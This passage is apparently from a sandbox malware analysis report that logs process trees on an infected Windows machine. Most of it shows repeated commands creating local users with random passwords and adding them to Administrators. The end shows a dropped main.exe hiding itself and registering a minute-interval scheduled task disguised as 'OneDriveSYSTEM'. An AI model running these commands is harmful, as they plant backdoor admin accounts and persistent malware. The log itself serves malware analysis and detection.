        C:\Windows\system32\net1 localgroup Administrators ««Ê« /add
        5⤵
        
        PID:4640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¡«Òåå«à OAZDIieDJF /add"
    3⤵
    PID:1288
  - - C:\Windows\system32\net.exe
      net user ¡«Òåå«à OAZDIieDJF /add
      4⤵
      PID:4028
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¡«Òåå«à OAZDIieDJF /add
        5⤵
        
        PID:3280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¡«Òåå«à /add"
    3⤵
    PID:836
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¡«Òåå«à /add
      4⤵
      PID:908
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¡«Òåå«à /add
        5⤵
        
        PID:3576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ä½ä½ P97yucHJV8 /add"
    3⤵
    PID:2356
  - - C:\Windows\system32\net.exe
      net user ä½ä½ P97yucHJV8 /add
      4⤵
      PID:1120
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ä½ä½ P97yucHJV8 /add
        5⤵
        
        PID:2720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ä½ä½ /add"
    3⤵
    PID:2936
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ä½ä½ /add
      4⤵
      PID:1840
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ä½ä½ /add
        5⤵
        
        PID:2044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user âø â¥â pMIP1X5Pf6 /add"
    3⤵
    PID:1636
  - - C:\Windows\system32\net.exe
      net user âø â¥â pMIP1X5Pf6 /add
      4⤵
      PID:5032
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user âø â¥â pMIP1X5Pf6 /add
        5⤵
        
        PID:2140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators âø â¥â /add"
    3⤵
    PID:996
  - - C:\Windows\system32\net.exe
      net localgroup Administrators âø â¥â /add
      4⤵
      PID:3984
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators âø â¥â /add
        5⤵
        
        PID:736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ûøøøõõõ 2j7or3yiGL /add"
    3⤵
    PID:4636
  - - C:\Windows\system32\net.exe
      net user ûøøøõõõ 2j7or3yiGL /add
      4⤵
      PID:2748
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ûøøøõõõ 2j7or3yiGL /add
        5⤵
        
        PID:4316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ûøøøõõõ /add"
    3⤵
    PID:2952
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ûøøøõõõ /add
      4⤵
      PID:4748
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ûøøøõõõ /add
        5⤵
        
        PID:2004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ä§îãäã§ FxlGJGyIHT /add"
    3⤵
    PID:3004
  - - C:\Windows\system32\net.exe
      net user ä§îãäã§ FxlGJGyIHT /add
      4⤵
      PID:5100
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ä§îãäã§ FxlGJGyIHT /add
        5⤵
        
        PID:4716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ä§îãäã§ /add"
    3⤵
    PID:3556
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ä§îãäã§ /add
      4⤵
      PID:2084
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ä§îãäã§ /add
        5⤵
        
        PID:1116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÃÛÆýÃ Z2ZLRDT0M3 /add"
    3⤵
    PID:2168
  - - C:\Windows\system32\net.exe
      net user ÃÛÆýÃ Z2ZLRDT0M3 /add
      4⤵
      PID:1388
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÃÛÆýÃ Z2ZLRDT0M3 /add
        5⤵
        
        PID:2444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÃÛÆýÃ /add"
    3⤵
    PID:1656
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÃÛÆýÃ /add
      4⤵
      PID:4260
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÃÛÆýÃ /add
        5⤵
        
        PID:228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ïÐÐÇÇ R5OdiiFVQf /add"
    3⤵
    PID:2924
  - - C:\Windows\system32\net.exe
      net user ïÐÐÇÇ R5OdiiFVQf /add
      4⤵
      PID:740
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ïÐÐÇÇ R5OdiiFVQf /add
        5⤵
        
        PID:2336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ïÐÐÇÇ /add"
    3⤵
    PID:3236
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ïÐÐÇÇ /add
      4⤵
      PID:1236
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ïÐÐÇÇ /add
        5⤵
        
        PID:1380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user òòææº zs2ESe0MzR /add"
    3⤵
    PID:2904
  - - C:\Windows\system32\net.exe
      net user òòææº zs2ESe0MzR /add
      4⤵
      PID:392
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user òòææº zs2ESe0MzR /add
        5⤵
        
        PID:2500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators òòææº /add"
    3⤵
    PID:1436
  - - C:\Windows\system32\net.exe
      net localgroup Administrators òòææº /add
      4⤵
      PID:3068
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators òòææº /add
        5⤵
        
        PID:2056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÀÀÀÀ msnbXFRvEF /add"
    3⤵
    PID:2792
  - - C:\Windows\system32\net.exe
      net user ÀÀÀÀ msnbXFRvEF /add
      4⤵
      PID:4768
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÀÀÀÀ msnbXFRvEF /add
        5⤵
        
        PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÀÀÀÀ /add"
    3⤵
    PID:232
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÀÀÀÀ /add
      4⤵
      PID:1316
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÀÀÀÀ /add
        5⤵
        
        PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Þû°ûÁ´ÿ aLfmnktIef /add"
    3⤵
    PID:1912
  - - C:\Windows\system32\net.exe
      net user Þû°ûÁ´ÿ aLfmnktIef /add
      4⤵
      PID:1908
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Þû°ûÁ´ÿ aLfmnktIef /add
        5⤵
        
        PID:1172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Þû°ûÁ´ÿ /add"
    3⤵
    PID:2836
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Þû°ûÁ´ÿ /add
      4⤵
      PID:2572
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Þû°ûÁ´ÿ /add
        5⤵
        
        PID:4344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Â¨Ö¶Â¨ gu063wnvGs /add"
    3⤵
    PID:4928
  - - C:\Windows\system32\net.exe
      net user Â¨Ö¶Â¨ gu063wnvGs /add
      4⤵
      PID:3036
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Â¨Ö¶Â¨ gu063wnvGs /add
        5⤵
        
        PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Â¨Ö¶Â¨ /add"
    3⤵
    PID:2840
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Â¨Ö¶Â¨ /add
      4⤵
      PID:2188
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Â¨Ö¶Â¨ /add
        5⤵
        
        PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user öÇ Y3svRBOzNI /add"
    3⤵
    PID:4020
  - - C:\Windows\system32\net.exe
      net user öÇ Y3svRBOzNI /add
      4⤵
      PID:4880
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user öÇ Y3svRBOzNI /add
        5⤵
        
        PID:3444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators öÇ /add"
    3⤵
    PID:4792
  - - C:\Windows\system32\net.exe
      net localgroup Administrators öÇ /add
      4⤵
      PID:2400
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators öÇ /add
        5⤵
        
        PID:2148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user á¬á¶ jrlv0csh0R /add"
    3⤵
    PID:2584
  - - C:\Windows\system32\net.exe
      net user á¬á¶ jrlv0csh0R /add
      4⤵
      PID:4652
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user á¬á¶ jrlv0csh0R /add
        5⤵
        
        PID:4804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators á¬á¶ /add"
    3⤵
    PID:1156
  - - C:\Windows\system32\net.exe
      net localgroup Administrators á¬á¶ /add
      4⤵
      PID:3696
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators á¬á¶ /add
        5⤵
        
        PID:4648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user «îµ««µ cFBriMUtQ8 /add"
    3⤵
    PID:2532
  - - C:\Windows\system32\net.exe
      net user «îµ««µ cFBriMUtQ8 /add
      4⤵
      PID:4372
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user «îµ««µ cFBriMUtQ8 /add
        5⤵
        
        PID:1952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators «îµ««µ /add"
    3⤵
    PID:1700
  - - C:\Windows\system32\net.exe
      net localgroup Administrators «îµ««µ /add
      4⤵
      PID:464
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators «îµ««µ /add
        5⤵
        
        PID:3912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÄÀ¾¾Ä XtObpil4DE /add"
    3⤵
    PID:2124
  - - C:\Windows\system32\net.exe
      net user ÄÀ¾¾Ä XtObpil4DE /add
      4⤵
      PID:428
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÄÀ¾¾Ä XtObpil4DE /add
        5⤵
        
        PID:4896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÄÀ¾¾Ä /add"
    3⤵
    PID:3388
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÄÀ¾¾Ä /add
      4⤵
      PID:2004
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÄÀ¾¾Ä /add
        5⤵
        
        PID:3496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ËËüîíÉí xDjzBxqWpg /add"
    3⤵
    PID:1660
  - - C:\Windows\system32\net.exe
      net user ËËüîíÉí xDjzBxqWpg /add
      4⤵
      PID:4716
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ËËüîíÉí xDjzBxqWpg /add
        5⤵
        
        PID:5036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ËËüîíÉí /add"
    3⤵
    PID:4924
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ËËüîíÉí /add
      4⤵
      PID:1116
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ËËüîíÉí /add
        5⤵
        
        PID:1552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user úÌÌáºº zCBZDDslEj /add"
    3⤵
    PID:1112
  - - C:\Windows\system32\net.exe
      net user úÌÌáºº zCBZDDslEj /add
      4⤵
      PID:2444
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user úÌÌáºº zCBZDDslEj /add
        5⤵
        
        PID:4016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators úÌÌáºº /add"
    3⤵
    PID:5000
  - - C:\Windows\system32\net.exe
      net localgroup Administrators úÌÌáºº /add
      4⤵
      PID:228
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators úÌÌáºº /add
        5⤵
        
        PID:2328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¸üáØ¸üØ KapHOthmqI /add"
    3⤵
    PID:548
  - - C:\Windows\system32\net.exe
      net user ¸üáØ¸üØ KapHOthmqI /add
      4⤵
      PID:2336
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¸üáØ¸üØ KapHOthmqI /add
        5⤵
        
        PID:3568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¸üáØ¸üØ /add"
    3⤵
    PID:2568
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¸üáØ¸üØ /add
      4⤵
      PID:1380
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¸üáØ¸üØ /add
        5⤵
        
        PID:2684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user áªÏ£ k0x7s2jz61 /add"
    3⤵
    PID:4868
  - - C:\Windows\system32\net.exe
      net user áªÏ£ k0x7s2jz61 /add
      4⤵
      PID:2500
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user áªÏ£ k0x7s2jz61 /add
        5⤵
        
        PID:956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators áªÏ£ /add"
    3⤵
    PID:1324
  - - C:\Windows\system32\net.exe
      net localgroup Administrators áªÏ£ /add
      4⤵
      PID:3888
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators áªÏ£ /add
        5⤵
        
        PID:2820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÐÐµÛÐÐÛ ckDbSGFjM3 /add"
    3⤵
    PID:4004
  - - C:\Windows\system32\net.exe
      net user ÐÐµÛÐÐÛ ckDbSGFjM3 /add
      4⤵
      PID:4768
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÐÐµÛÐÐÛ ckDbSGFjM3 /add
        5⤵
        
        PID:2340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÐÐµÛÐÐÛ /add"
    3⤵
    PID:3552
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÐÐµÛÐÐÛ /add
      4⤵
      PID:1316
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÐÐµÛÐÐÛ /add
        5⤵
        
        PID:3044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user «öÔ«ö oizc25cGjt /add"
    3⤵
    PID:1860
  - - C:\Windows\system32\net.exe
      net user «öÔ«ö oizc25cGjt /add
      4⤵
      PID:1908
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user «öÔ«ö oizc25cGjt /add
        5⤵
        
        PID:4468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators «öÔ«ö /add"
    3⤵
    PID:3800
  - - C:\Windows\system32\net.exe
      net localgroup Administrators «öÔ«ö /add
      4⤵
      PID:2572
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators «öÔ«ö /add
        5⤵
        
        PID:2172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ×ôôô¬ UkJbGQAsHW /add"
    3⤵
    PID:4696
  - - C:\Windows\system32\net.exe
      net user ×ôôô¬ UkJbGQAsHW /add
      4⤵
      PID:2156
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ×ôôô¬ UkJbGQAsHW /add
        5⤵
        
        PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ×ôôô¬ /add"
    3⤵
    PID:2580
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ×ôôô¬ /add
      4⤵
      PID:2188
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ×ôôô¬ /add
        5⤵
        
        PID:4712

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8d3a7cc40,0x7ff8d3a7cc4c,0x7ff8d3a7cc58
  2⤵
  PID:1596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1880,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1864 /prefetch:2
  2⤵
  PID:3916
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2088,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2144 /prefetch:3
  2⤵
  PID:424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2228,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2208 /prefetch:8
  2⤵
  PID:3016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3096,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:1952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3308 /prefetch:1
  2⤵
  PID:2092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4456,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3784 /prefetch:1
  2⤵
  PID:4860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4584,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4752 /prefetch:8
  2⤵
  PID:3028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4764,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4824 /prefetch:8
  2⤵
  PID:3792
- C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level
  2⤵
  - Drops file in Windows directory
  PID:3112
- - C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x248,0x24c,0x250,0x200,0x254,0x7ff75ca84698,0x7ff75ca846a4,0x7ff75ca846b0
    3⤵
    - Drops file in Windows directory
    PID:2492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4608,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4248 /prefetch:1
  2⤵
  PID:3276
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4476,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4620 /prefetch:1
  2⤵
  PID:3948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4308,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4428 /prefetch:1
  2⤵
  PID:4412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=3120,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5164 /prefetch:1
  2⤵
  PID:1972
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=4940,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5020 /prefetch:1
  2⤵
  PID:5164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=4600,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3308 /prefetch:1
  2⤵
  PID:3312
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4612,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3452 /prefetch:1
  2⤵
  PID:7092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=4536,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:2508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5028,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3340 /prefetch:1
  2⤵
  PID:4628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=5576,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=868 /prefetch:1
  2⤵
  PID:4092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=5680,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5704 /prefetch:1
  2⤵
  PID:3924
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=4412,i,14798043763438549314,8131907404732300101,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5184 /prefetch:1
  2⤵
  PID:1556

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1136

C:\Users\Admin\AppData\Roaming\main.exe
C:\Users\Admin\AppData\Roaming\main.exe
1⤵
- Executes dropped EXE
PID:5240
- C:\Users\Admin\AppData\Roaming\main.exe
  C:\Users\Admin\AppData\Roaming\main.exe
  2⤵
  - Disables RegEdit via registry modification
  - Executes dropped EXE
  PID:6264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Roaming\main.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:6396
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\main.exe"
      4⤵
      Views/modifies file attributes
      PID:6448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEM" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc minute /mo 1 /rl HIGHEST /f"
    3⤵
    PID:6464
  - - C:\Windows\system32\schtasks.exe
